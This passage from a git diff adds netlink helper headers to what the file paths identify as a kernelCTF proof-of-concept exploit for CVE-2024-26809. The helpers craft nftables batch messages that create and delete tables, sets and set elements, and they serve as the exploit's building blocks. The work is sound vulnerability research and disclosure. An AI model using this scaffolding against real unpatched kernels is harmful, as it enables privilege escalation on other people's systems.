+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    struct nl_msg *data = nlmsg_alloc();
+    struct nl_msg *data_nest = nlmsg_alloc();
+    struct nl_msg *data_nest_nest = nlmsg_alloc();
+    //init IPSET_ATTR_DATA
+
+    int i=0;
+
+    nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10));
+    for(i=0;i<4;i++){
+        nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest);
+    }
+
+    nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest);
+    //create test1
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    nla_put_u32(msg2, NFTA_SET_ID, 0x10);
+    nla_put_nested(msg2, NFTA_SET_DESC, data);
+    nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len));
+    nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT));
+    nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type));
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    } 
+}
+
+void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2));
+    nla_put_u32(msg2, NFTA_SET_ID, 0x10);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+struct nlmsghdr *del_set_msg(char *table_name, char *set_name){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    //init msg
+    nla_put_string(msg2, NFTA_SET_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_NAME, set_name);
+    return hdr2;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h
new file mode 100644
index 00000000..931a2004
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/setelem.h
@@ -0,0 +1,307 @@
+void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    uint64_t key = input_key;
+    if(obj_ref)
+    	nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(if_catchall){
+    	nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL));
+    }
+    else{
+    	nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    	if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    	}
+    	nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    }	
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    struct nl_msg *elem_expr = nlmsg_alloc();
+    struct nl_msg *elem_expr_data = nlmsg_alloc();
+    struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc();
+    uint64_t key = input_key;
+    nla_put_string(elem_expr, NFTA_EXPR_NAME, "last");
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr);
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    }
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(obj_ref != NULL)
+    	nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+
+void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){
+    //init msg
+    struct nl_msg * msg = nlmsg_alloc();
+    nfnlmsg_put(
+            msg,
+            NL_AUTO_PID, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_SUBSYS_NFTABLES,  //SUBSYS
+            NFT_MSG_GETSETELEM,   // TYPE
+            NLM_F_REQUEST,
+            2, //FAMILY
+            0           //RES_ID
+    );
+    //init msg
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    nla_put_nested(elem, 1, elem_nest);
+    nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+
+    int res = nl_send_auto(socket, msg);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_key_end = nlmsg_alloc();
+    nla_put(elem_key, NFTA_DATA_VALUE, key_size, key);
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(key_end){
+    	nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end);
+    	nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end);
+    }
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    } else {
+        printf("Delete setelem\n");
+    }
+}
+
+struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+     struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    //init msg
+    //create test1
+    struct nl_msg *elem = nlmsg_alloc();
+    struct nl_msg *elem_nest = nlmsg_alloc();
+    struct nl_msg *elem_key = nlmsg_alloc();
+    struct nl_msg *elem_end = nlmsg_alloc();
+    uint64_t key = input_key;
+    nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key);
+    if(key_end != NULL){
+            nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end);
+            nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end);
+    }
+    nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key);
+    if(obj_ref != NULL)
+        nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref);
+    if(udata>0){
+        nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata);
+    }
+
+    nla_put_nested(elem, 1, elem_nest);
+
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name);
+    nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name);
+    nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem);
+    return hdr2;
+}
diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h
new file mode 100644
index 00000000..a2a05945
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/table.h
@@ -0,0 +1,186 @@
+void new_table(struct nl_sock * socket, char *name){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    nla_put_string(msg2, NFTA_TABLE_NAME, name);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void get_table(struct nl_sock * socket, char *name){
+    //init msg
+    struct nl_msg * msg = nlmsg_alloc();
+    nfnlmsg_put(
+            msg,
+            NL_AUTO_PID, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_SUBSYS_NFTABLES,  //SUBSYS
+            NFT_MSG_GETTABLE,   // TYPE
+            NLM_F_REQUEST, 
+            2, //FAMILY
+            0           //RES_ID
+    );
+    //init msg
+    nla_put_string(msg, NFTA_TABLE_NAME, name);
+
+    int res = nl_send_auto(socket, msg);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    nla_put_string(msg2, NFTA_TABLE_NAME, name);
+    nla_put(msg2,NFTA_TABLE_USERDATA,len,udata);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+void del_table(struct nl_sock * socket, char *table_name){
+
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    //init msg
+
+    nla_put_string(msg2, NFTA_TABLE_NAME, table_name);
+
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
